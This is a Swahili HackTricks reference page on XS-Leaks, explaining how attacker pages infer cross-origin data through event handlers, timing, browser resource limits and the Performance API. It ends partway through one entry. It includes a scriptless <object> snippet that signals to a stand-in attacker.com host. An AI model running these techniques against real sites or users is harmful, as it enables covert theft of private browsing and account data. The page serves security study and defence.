.. | ||
css-injection | ||
connection-pool-by-destination-example.md | ||
connection-pool-example.md | ||
cookie-bomb-+-onerror-xs-leak.md | ||
event-loop-blocking-+-lazy-images.md | ||
javascript-execution-xs-leak.md | ||
performance.now-+-force-heavy-task.md | ||
performance.now-example.md | ||
README.md | ||
url-max-length-client-side.md |
XS-Search/XS-Leaks
Tumia **** kujenga na kutumia workflows kwa urahisi yaliyotengenezwa na zana za jamii za hali ya juu zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.
Taarifa Msingi
XS-Search ni njia inayotumika kwa kuchimba taarifa za msalaba-mwanzo kwa kutumia mapungufu ya njia ya pembeni.
Vipengele muhimu vinavyohusika katika shambulio hili ni:
- Tovuti Isiyolindwa: Tovuti ya lengo ambayo taarifa inakusudiwa kuchimbuliwa.
- Tovuti ya Mshambuliaji: Tovuti mbaya iliyoanzishwa na mshambuliaji, ambayo muathiriwa anatembelea, ikimiliki shambulio.
- Mbinu ya Kuingiza: Mbinu inayotumiwa kuingiza Tovuti Isiyolindwa katika Tovuti ya Mshambuliaji (k.m., window.open, iframe, fetch, tag ya HTML na href, n.k.).
- Mbinu ya Kuvuja: Mbinu zinazotumika kutambua tofauti katika hali ya Tovuti Isiyolindwa kulingana na taarifa zilizokusanywa kupitia mbinu ya kuingiza.
- Hali: Hali mbili za uwezekano wa Tovuti Isiyolindwa, ambazo mshambuliaji analenga kutofautisha.
- Tofauti Zinazoweza Kugundulika: Mabadiliko yanayoweza kuonekana ambayo mshambuliaji anategemea kufikiria hali ya Tovuti Isiyolindwa.
Tofauti Zinazoweza Kugundulika
Vipengele kadhaa vinaweza kuchambuliwa kufautisha hali za Tovuti Isiyolindwa:
- Msimbo wa Hali: Kutofautisha kati ya mimbo tofauti ya hali ya majibu ya HTTP ya msalaba-mwanzo, kama makosa ya seva, makosa ya mteja, au makosa ya uthibitishaji.
- Matumizi ya API: Kutambua matumizi ya API za Wavuti kwenye kurasa, kufunua ikiwa ukurasa wa msalaba-mwanzo unatumia API maalum ya JavaScript ya Wavuti.
- Uelekezaji: Kugundua mabadiliko ya kuhamia kurasa tofauti, si tu mwelekeo wa HTTP lakini pia wale uliochochewa na JavaScript au HTML.
- Yaliyomo kwenye Ukurasa: Kuchunguza mabadiliko katika mwili wa majibu ya HTTP au katika rasilimali ndogo za ukurasa, kama idadi ya fremu zilizojumuishwa au tofauti za ukubwa katika picha.
- Kichwa cha HTTP: Kuzingatia uwepo au labda thamani ya kichwa maalum cha majibu ya HTTP, ikiwa ni pamoja na vichwa kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
- Wakati: Kugundua tofauti za wakati thabiti kati ya hali mbili.
Mbinu za Kuingiza
- Vipengele vya HTML: HTML inatoa vipengele mbalimbali kwa kuingiza rasilimali za msalaba-mwanzo, kama vile maandishi ya mtindo, picha, au hati, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Orodha ya vipengele vya HTML vinavyowezekana kwa kusudi hili inaweza kupatikana kwenye https://github.com/cure53/HTTPLeaks.
- Fremu: Vipengele kama iframe, object, na embed vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa haujamilindwa na fremu, JavaScript inaweza kupata upatikanaji wa mali ya fremu iliyoframewa kupitia mali ya contentWindow.
- Pop-ups: Mbinu ya
window.open
inafungua rasilimali kwenye kichupo kipya au dirisha, ikitoa kushughulikia dirisha kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumika katika kuingia moja, hupuuza ulinzi wa fremu na vizuizi vya vidakuzi vya rasilimali ya lengo. Walakini, vivinjari vya kisasa vinazuia uundaji wa pop-up kwa hatua fulani za mtumiaji. - Maombi ya JavaScript: JavaScript inaruhusu maombi moja kwa moja kwa rasilimali za lengo kwa kutumia XMLHttpRequests au Fetch API. Mbinu hizi hutoa udhibiti sahihi juu ya ombi, kama kuchagua kufuata mwelekeo wa HTTP.
Mbinu za Kuvuja
- Mfumo wa Tukio: Mbinu ya kuvuja ya kawaida katika XS-Leaks, ambapo wachakataji wa tukio kama onload na onerror hutoa ufahamu kuhusu mafanikio au kushindwa kwa kupakia rasilimali.
- Ujumbe wa Makosa: Mifano ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za kuvuja moja kwa moja kutoka kwa ujumbe wa makosa au kwa kutofautisha kati ya uwepo na kutokuwepo kwake.
- Vikwazo vya Kimataifa: Vikwazo vya kimwili vya kivinjari, kama uwezo wa kumbukumbu au vikwazo vingine vilivyowekwa na kivinjari, vinaweza kuashiria wakati kizingiti kinapofikiwa, kutumika kama mbinu ya kuvuja.
- Hali ya Kimataifa: Mwingiliano unaoonekana na hali za kimataifa za vivinjari (k.m., kiolesura cha Historia) unaweza kutumiwa. Kwa mfano, idadi ya vipengele katika historia ya kivinjari inaweza kutoa viashiria kuhusu kurasa za msalaba.
- API ya Utendaji: API hii hutoa maelezo ya utendaji wa ukurasa wa sasa, ikiwa ni pamoja na wakati wa mtandao kwa hati na rasilimali zilizopakiwa, kuruhusu uchambuzi kuhusu rasilimali zilizoombwa.
- Mali Zinazoweza Kusomwa: Baadhi ya sifa za HTML ni soma msalaba-mwanzo na zinaweza kutumika kama mbinu ya kuvuja. Kwa mfano, mali ya
window.frame.length
inaruhusu JavaScript kuhesabu fremu zilizojumuishwa kwenye ukurasa wa wavuti msalaba-mwanzo.
Zana ya XSinator & Karatasi
XSinator ni zana ya moja kwa moja ya kuchunguza vivinjari dhidi ya XS-Leaks kadhaa zilizoelezwa katika karatasi yake: https://xsinator.com/paper.pdf
Unaweza kupata zana hii kwenye https://xsinator.com/
{% hint style="warning" %} XS-Leaks Zilizotengwa: Tulilazimika kutenga XS-Leaks zinazotegemea wafanyakazi wa huduma kwani wangeweza kuingilia kati na uvujaji mwingine katika XSinator. Zaidi ya hayo, tulichagua kutenga XS-Leaks zinazotegemea mipangilio mibovu na kasoro katika programu-jalizi ya wavuti maalum. Kwa mfano, mipangilio mibovu ya Kushirikiana Rasilimali ya Asili (CORS), uvujaji wa ujumbe wa posta au Udukuzi wa Msalaba wa Tovuti. Aidha, tulitenga XS-Leaks zinazotegemea wakati kwani mara nyingi hupata ugumu wa kuwa polepole, kelele, na kutokuwa sahihi. {% endhint %}
Tumia Trickest kujenga na kutumia workflows kwa urahisi yaliyotengenezwa na zana za jamii za hali ya juu zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
Mbinu za Kulingana na Muda
Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti.
Saa: API ya performance.now() inaruhusu watengenezaji kupata vipimo vya wakati vya azimio kubwa.
Kuna idadi kubwa ya APIs ambazo wachambuzi wanaweza kutumia vibaya kujenga saa za kimya: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, michoro ya CSS, na zingine.
Kwa habari zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Mbinu za Msimamizi wa Matukio
Onload/Onerror
- Njia za Kuingiza: Fremu, Elementi za HTML
- Tofauti Inayoweza Kugundulika: Msimbo wa Hali
- Maelezo Zaidi: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Muhtasari: ikiwa jaribio la kupakia rasilimali linapotokea kosa/kupakia matukio yanachochewa na rasilimali kupakiwa kwa mafanikio/kwa kushindwa inawezekana kugundua msimbo wa hali.
- Mfano wa Kanuni: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}
Mfano wa kanuni unajaribu kupakia vitu vya skripti kutoka JS, lakini vitambulisho vingine kama vitu, maumbo ya CSS, picha, sauti pia vinaweza kutumika. Zaidi ya hayo, pia inawezekana kuingiza lebo moja kwa moja na kutangaza matukio ya onload
na onerror
ndani ya lebo (badala ya kuingiza kutoka JS).
Pia kuna toleo lisilo na skripti la shambulio hili:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
Katika kesi hii ikiwa example.com/404
haipatikani attacker.com/?error
itapakiwa.
Wakati wa Kupakia
- Njia za Kuingiza: Vitu vya HTML
- Tofauti Inayoweza Kugundulika: Wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Muhtasari: performance.now() API inaweza kutumika kupima muda gani unachukua kufanya ombi. Hata hivyo, saa nyingine zinaweza kutumika, kama vile PerformanceLongTaskTiming API ambayo inaweza kutambua kazi zinazoendeshwa kwa zaidi ya 50ms.
- Mfano wa Msimbo: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events mfano mwingine katika:
{% content-ref url="performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}
Wakati wa Kupakia + Kazi Kubwa Iliyolazimishwa
Mbinu hii ni kama ile ya awali, lakini mshambuliaji pia atalazimisha hatua fulani ichukue muda muhimu wakati jibu ni chanya au hasi na kupima muda huo.
{% content-ref url="performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}
Wakati wa Kutopakia/Kabla ya Kutopakia
- Njia za Kuingiza: Fremu
- Tofauti Inayoweza Kugundulika: Wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Muhtasari: Saa ya SharedArrayBuffer inaweza kutumika kupima muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- Mfano wa Msimbo: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Muda unaochukuliwa kufetch rasilimali unaweza kupimwa kwa kutumia matukio ya unload
na beforeunload
. Tukio la beforeunload
hufanyika wakati kivinjari kinakaribia kutembea kwenye ukurasa mpya, wakati unload
tukio hutokea wakati uhamisho unafanyika kwa kweli. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa kufafanua muda kivinjari kilitumia kufetch rasilimali.
Wakati wa Fremu Iliyofungwa + onload
- Njia za Kuingiza: Fremu
- Tofauti Inayoweza Kugundulika: Wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Muhtasari: performance.now() API inaweza kutumika kupima muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- Mfano wa Msimbo: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Imeonekana kwamba katika kutokuwepo kwa Kinga za Fremu, muda unaohitajika kwa ukurasa na rasilimali zake kufungua kwenye mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu kivinjari cha onload
cha fremu kinachochomwa tu baada ya kukamilika kwa kupakia rasilimali na utekelezaji wa JavaScript. Ili kuepuka tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya sandbox
ndani ya <iframe>
. Kuingizwa kwa sifa hii kunazuia utendaji mwingi, hasa utekelezaji wa JavaScript, hivyo kurahisisha kipimo kinachotawaliwa zaidi na utendaji wa mtandao.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + kosa + onload
- Njia za Uingizaji: Fremu
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi:
- Muhtasari: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati yaliyomo sahihi yanapopatikana na kufanya iweze kupakia kwa usahihi wakati yaliyomo yoyote inapopatikana, basi unaweza kufanya mzunguko wa kutoa taarifa zote bila kupima wakati.
- Mfano wa Kanuni:
Fikiria unaweza kuweka ukurasa una yaliyomo ya siri ndani ya Iframe.
Unaweza kufanya mhanga atafute faili inayoitwa "flag" kwa kutumia Iframe (kwa mfano kwa kutumia CSRF). Ndani ya Iframe unajua kwamba tukio la onload litatekelezwa angalau mara moja daima. Kisha, unaweza badilisha URL ya iframe lakini kubadilisha tu yaliyomo ya hash ndani ya URL.
Kwa mfano:
- URL1: www.attacker.com/xssearch#jaribu1
- URL2: www.attacker.com/xssearch#jaribu2
Ikiwa URL ya kwanza ilipakia kwa mafanikio, basi, wakati unabadilisha sehemu ya hash ya URL, tukio la onload halitazinduliwa tena. Lakini ikiwa ukurasa ulikuwa na aina fulani ya kosa wakati wa upakiaji, basi, tukio la onload litazinduliwa tena.
Kisha, unaweza kutofautisha kati ya ukurasa uliopakiwa kwa usahihi au ukurasa ambao una kosa wakati unapopatikana.
Utekelezaji wa Javascript
- Njia za Uingizaji: Fremu
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi:
- Muhtasari: Ikiwa ukurasa unarudisha yaliyomo nyeti, au yaliyomo ambayo inaweza kudhibitiwa na mtumiaji. Mtumiaji anaweza kuweka msimbo wa JS sahihi katika kesi hasi, na kila jaribio kila wakati ndani ya
<script>
tags, hivyo katika kesi hasi waovamizi msimbo unatekelezwa, na katika kesi ya aina hakuna kitu kitatekelezwa. - Mfano wa Kanuni:
{% content-ref url="javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}
CORB - Onerror
- Njia za Uingizaji: Vipengele vya HTML
- Tofauti Inayoweza Kugundulika: Msimbo wa Hali & Vichwa vya habari
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Muhtasari: Kuzuia Kusoma kwa Msalaba wa Asili (CORB) ni hatua ya usalama inayozuia kurasa za wavuti kupakia rasilimali fulani nyeti za asili tofauti kwa kulinda dhidi ya mashambulizi kama Spectre. Walakini, waovamizi wanaweza kutumia tabia yake ya kinga. Wakati majibu yanayostahili CORB yanarudisha Aina ya Yaliyomo iliyolindwa na CORB
Content-Type
nanosniff
na msimbo wa hali wa2xx
, CORB inaondoa mwili na vichwa vya majibu. Waovamizi wanaoangalia hii wanaweza kuhitimisha mchanganyiko wa msimbo wa hali (ukiashiria mafanikio au kosa) naContent-Type
(ukiashiria ikiwa inalindwa na CORB), ikiongoza kwa uwezekano wa kuvuja kwa taarifa. - Mfano wa Kanuni:
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulio.
onblur
- Njia za Uingizaji: Fremu
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Muhtasari: Fichua data nyeti kutoka kwa sifa ya id au jina.
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
Inawezekana kupakia ukurasa ndani ya iframe na kutumia #id_value
kufanya ukurasa jikite kwenye kipengele cha iframe kilichotajwa, kisha iki ishara ya onblur
inazinduliwa, kipengele cha ID kipo.
Unaweza kufanya shambulio sawa na vitambulisho vya portal
.
Matangazo ya Ujumbe wa postMessage
- Njia za Uingizaji: Fremu, Vipande vya Pop-up
- Tofauti Inayoweza Kugundulika: Matumizi ya API
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Muhtasari: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
- Mfano wa Kanuni:
Msimbo wowote unaoisikiliza postMessages zote.
Programu mara nyingi hutumia matangazo ya postMessage
kwa mawasiliano kati ya asili tofauti. Walakini, njia hii inaweza kufichua taarifa nyeti isivyojulikana ikiwa parameter ya targetOrigin
haijatajwa ipasavyo, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kupokea ujumbe kunaweza kutenda kama oracle; kwa mfano, ujumbe fulani unaweza kutumwa tu kwa watumiaji walioingia. Kwa hivyo, uwepo au kutokuwepo kwa ujumbe huu unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wamehakikiwa au la.
Tumia Trickest kujenga na kutumia taratibu kwa urahisi zinazotumia zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
Mbinu za Mipaka ya Kimataifa
WebSocket API
- Njia za Uingizaji: Fremu, Vipande vya Pop-up
- Tofauti Inayoweza Kugundulika: Matumizi ya API
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.1)
- Muhtasari: Kuchoka kwa kikomo cha uhusiano wa WebSocket kunavuja idadi ya uhusiano wa WebSocket wa ukurasa wa asili tofauti.
- Mfano wa Kanuni: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
Inawezekana kutambua ikiwa, na ni wangapi, uunganisho wa WebSocket ukurasa wa lengo unatumia. Inaruhusu mwovu kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.
Ikiwa asili inatumia idadi kubwa ya vitu vya uhusiano wa WebSocket, bila kujali hali zao za uhusiano, uumbaji wa vitu vipya utasababisha makosa ya JavaScript. Ili kutekeleza shambulio hili, tovuti ya mwovu inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya wavuti ya lengo imepakia, inajaribu kuunda idadi kubwa ya uhusiano wa WebSocket inayowezekana. Idadi ya makosa yaliyorushwa ni idadi ya uhusiano wa WebSocket uliotumiwa na dirisha la wavuti ya lengo.
API ya Malipo
- Njia za Kuingiza: Fremu, Pop-ups
- Tofauti Inayoweza Kugundulika: Matumizi ya API
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.1)
- Muhtasari: Gundi Ombi la Malipo kwa sababu moja tu inaweza kuwa hai kwa wakati mmoja.
- Mfano wa Kanuni: https://xsinator.com/testing.html#Payment%20API%20Leak
XS-Leak hii inamwezesha mshambuliaji kugundua wakati ukurasa wa asili unapoanzisha ombi la malipo.
Kwa sababu ombi moja la malipo tu linaweza kuwa hai kwa wakati mmoja, ikiwa tovuti ya lengo inatumia API ya Ombi la Malipo, jaribio lolote la kuonyesha matumizi ya API hii zaidi litashindwa, na kusababisha kosa la JavaScript. Mshambuliaji anaweza kutumia hii kwa kujaribu mara kwa mara kuonyesha UI ya API ya Malipo. Ikiwa jaribio moja linasababisha kosa, tovuti ya lengo inaitumia kwa sasa. Mshambuliaji anaweza kuficha majaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
Kupima Mzunguko wa Tukio
- Njia za Kuingiza:
- Tofauti Inayoweza Kugundulika: Kupima wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Nambari ya Hali)
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Muhtasari: Kipimo cha muda wa utekelezaji wa wavuti kwa kudanganya mzunguko wa tukio la JS lenye wima moja.
- Mfano wa Kanuni:
{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
JavaScript inafanya kazi kwenye mfano wa mzunguko wa tukio lenye wima moja, ikimaanisha kwamba inaweza kutekeleza kazi moja kwa wakati mmoja. Tabia hii inaweza kutumiwa kwa kipimo cha muda gani wa utekelezaji wa nambari kutoka asili tofauti. Mshambuliaji anaweza kupima muda wa utekelezaji wa nambari yao wenyewe kwenye mzunguko wa tukio kwa kuendelea kutuma matukio na mali zilizowekwa. Matukio haya yatafanyiwa kazi wakati dimbwi la matukio linapokuwa tupu. Ikiwa asili nyingine pia inatuma matukio kwenye dimbwi sawa, mshambuliaji anaweza kuhitimisha muda unaochukua matukio haya ya nje kutekelezwa kwa kusimamia kucheleweshwa kwa utekelezaji wa kazi zao wenyewe. Mbinu hii ya kufuatilia mzunguko wa tukio kwa kuchelewesha inaweza kufunua muda wa utekelezaji wa nambari kutoka asili tofauti, ikifichua taarifa nyeti.
{% hint style="warning" %} Katika kipimo cha utekelezaji, inawezekana kufuta faktari za mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia. {% endhint %}
Mzunguko wa Tukio Uliosheheni
-
Njia za Kuingiza:
-
Tofauti Inayoweza Kugundulika: Kupima wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Nambari ya Hali)
-
Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
-
Muhtasari: Mbinu moja ya kupima muda wa utekelezaji wa operesheni ya wavuti inajumuisha kuzuia kwa makusudi mzunguko wa tukio la wima na kisha kupima muda unaochukua mzunguko wa tukio kuwa upatikana tena. Kwa kuingiza operesheni ya kuzuia (kama hesabu ndefu au wito wa API wa moja kwa moja) kwenye mzunguko wa tukio, na kufuatilia muda unaochukua kwa nambari inayofuata kuanza utekelezaji, mtu anaweza kuhitimisha muda wa kazi zilizokuwa zikitekelezwa kwenye mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili moja ya mzunguko wa tukio la JavaScript, ambapo kazi zinatekelezwa kwa mpangilio, na inaweza kutoa ufahamu juu ya utendaji au tabia ya operesheni zingine zinazoshiriki wima sawa.
-
Mfano wa Kanuni:
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kuzunguka Kizuizi cha Tovuti. Kizuizi cha Tovuti ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo likiwa kuzuia tovuti zenye nia mbaya kupata moja kwa moja data nyeti kutoka kwa tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio ulioshiriki, mshambuliaji anaweza kutoa taarifa kwa njia isiyo ya moja kwa moja kuhusu shughuli za asili hiyo. Mbinu hii haitegemei upatikanaji wa moja kwa moja wa data ya asili nyingine lakini badala yake inachunguza athari ya shughuli za asili hiyo kwenye mzunguko wa tukio ulioshiriki, hivyo kuepuka vizuizi vya kinga vilivyowekwa na Kizuizi cha Tovuti.
{% hint style="warning" %} Katika kipimo cha utekelezaji, inawezekana kufuta faktari za mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia. {% endhint %}
Dimbwi la Uunganisho
- Njia za Kuingiza: Maombi ya JavaScript
- Tofauti Inayoweza Kugundulika: Kupima wakati (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Nambari ya Hali)
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Muhtasari: Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na wakati huo huo kupakia ukurasa mwingine, muda mpaka ukurasa wa mwisho uanze kupakia ni muda ulioutumia ukurasa wa lengo kupakia.
- Mfano wa Kanuni:
{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}
Vivinjari hutumia soketi kwa mawasiliano na seva, lakini kutokana na rasilimali ndogo za mfumo wa uendeshaji na vifaa, vivinjari wanalazimika kuweka kikomo idadi ya soketi zinazoweza kuendelea. Wadukuzi wanaweza kutumia udhaifu huu kupitia hatua zifuatazo:
- Kuthibitisha kikomo cha soketi cha kivinjari, kwa mfano, soketi 256 za ulimwengu.
- Kuchukua soketi 255 kwa muda mrefu kwa kuanzisha maombi 255 kwa wenyeji mbalimbali, yaliyoundwa kudumisha mawasiliano yaliyofunguliwa bila kukamilika.
- Kutumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
- Kujaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kulingana na hatua 2 na 3), ombi hili litawekwa kwenye foleni mpaka soketi iweze kupatikana. Kuchelewesha kabla ya ombi hili kuendelea hutoa mshambuliaji taarifa ya wakati kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Hitimisho hili linawezekana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda uliochukua kwa soketi ya 256 kuwa inapatikana kwa hivyo moja kwa moja unahusishwa na muda uliohitajika kwa ombi kwa ukurasa wa lengo kukamilika.
Kwa maelezo zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Mbinu za API ya Utendaji
API ya Utendaji
hutoa ufahamu kuhusu vipimo vya utendaji wa maombi ya wavuti, ukiongezwa zaidi na API ya Ufuatiliaji wa Rasilmali
. API ya Ufuatiliaji wa Rasilmali inawezesha ufuatiliaji wa vipimo vya kina vya maombi ya mtandao, kama vile muda wa maombi. Hasa, wakati seva zinajumuisha kichwa cha Timing-Allow-Origin: *
katika majibu yao, data ziada kama ukubwa wa uhamisho na muda wa kutafuta kikoa inapatikana.
Seti hii kubwa ya data inaweza kupatikana kupitia njia kama performance.getEntries
au performance.getEntriesByName
, ikitoa mtazamo kamili wa habari zinazohusiana na utendaji. Aidha, API hii inawezesha kupima nyakati za utekelezaji kwa kuhesabu tofauti kati ya alama za wakati zilizopatikana kutoka kwa performance.now()
. Hata hivyo, ni muhimu kutambua kwamba kwa baadhi ya operesheni katika vivinjari kama Chrome, usahihi wa performance.now()
unaweza kuwa umepunguzwa hadi milisekunde, ambayo inaweza kuathiri ufanisi wa vipimo vya wakati.
Zaidi ya vipimo vya wakati, API ya Utendaji inaweza kutumika kwa ufahamu unaohusiana na usalama. Kwa mfano, uwepo au kutokuwepo kwa kurasa katika kitu cha utendaji
katika Chrome kunaweza kuashiria matumizi ya X-Frame-Options
. Hasa, ikiwa ukurasa umefungwa kutorejelezwa kwenye fremu kutokana na X-Frame-Options
, hautarekodiwa katika kitu cha utendaji
, kutoa ishara ndogo kuhusu sera za urekebishaji wa ukurasa.
Kuvuja kwa Hitilafu
- Njia za Kujumuishwa: Fremu, Elementi za HTML
- Tofauti Inayoweza Kugundulika: Kodi ya Hali
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Ombi linalosababisha hitilafu halitasababisha kuingizwa kwa wakati wa rasilmali.
- Mfano wa Kodi: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
Inawezekana kutofautisha kati ya kodi za hali ya majibu ya HTTP kwa sababu maombi yanayosababisha hitilafu hayasababishi kuingizwa kwa utendaji.
Kosa la Kupakia Tena Mtindo
- Njia za Kujumuishwa: Elementi za HTML
- Tofauti Inayoweza Kugundulika: Kodi ya Hali
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Kutokana na kasoro ya kivinjari, maombi yanayosababisha hitilafu hupakiwa mara mbili.
- Mfano wa Kodi: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
Katika mbinu iliyopita pia iligunduliwa matukio mawili ambapo kasoro za kivinjari katika GC husababisha rasilmali kupakiwa mara mbili wanaposhindwa kupakia. Hii itasababisha kuingizwa nyingi katika API ya Utendaji na hivyo inaweza kugunduliwa.
Kosa la Kufusisha Ombi
- Njia za Kujumuishwa: Elementi za HTML
- Tofauti Inayoweza Kugundulika: Kodi ya Hali
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Maombi yanayosababisha hitilafu hawezi kufusishwa.
- Mfano wa Kodi: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Mbinu hii ilipatikana kwenye jedwali katika karatasi iliyotajwa lakini hakuna maelezo ya mbinu iliyopatikana. Hata hivyo, unaweza kupata nambari ya chanzo ikikagua hilo katika https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Kuvuja kwa Ukurasa Tasa
- Njia za Kujumuishwa: Fremu
- Tofauti Inayoweza Kugundulika: Yaliyomo ya Ukurasa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Majibu yasiyo na yaliyomo hayasababishi kuingizwa kwa wakati wa rasilmali.
- Mfano wa Kodi: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Mshambuliaji anaweza kugundua ikiwa ombi lilisababisha mwili wa majibu ya HTTP kuwa tasa kwa sababu kurasa tasa hazisababishi kuingizwa kwa utendaji katika baadhi ya vivinjari.
Kuvuja kwa XSS-Auditor
- Njia za Kujumuishwa: Fremu
- Tofauti Inayoweza Kugundulika: Yaliyomo ya Ukurasa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
